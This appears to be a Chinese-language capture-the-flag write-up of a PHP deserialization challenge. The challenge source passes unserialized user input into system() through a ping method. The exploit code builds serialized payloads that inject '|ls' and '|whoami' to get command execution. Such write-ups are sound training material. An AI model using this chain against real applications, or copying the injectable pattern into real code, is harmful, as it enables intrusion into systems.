源码
<?php
class home{
private $method="ping";
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) { //在array("ping")中寻找$this->method,找到为True
echo "success";
call_user_func_array(array($this, $this->method), $this->args);//调用this->method方法,其中的参数为args
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));
?>
可以看到这个__destruct
函数中涉及了回调函数,而这个回调函数就是实现RCE的关键,我们这里可以看见ping方法中涉及到了system
函数,我们通过回调函数调用这个system方法就可以实现RCE了,这个回调函数的第一个参数是方法名,第二个是传入的值,这里的话我们给第一个参数赋值为ping
,就可以调用ping命令
,传入的第二个值要求为数组,我们传入array(0.0.0.0|ls)
就可以,这个的0.0.0.0
是与前面的ping -c 2
对应的
构造最终Exp如下
<?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$pop = new home("ping", array("0.0.0.0|ls"));
$pop = base64_encode(serialize($pop));
echo $pop;
<?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$pop = new home("ping", array("0.0.0.0|whoami"));
$pop = base64_encode(serialize($pop));
echo $pop;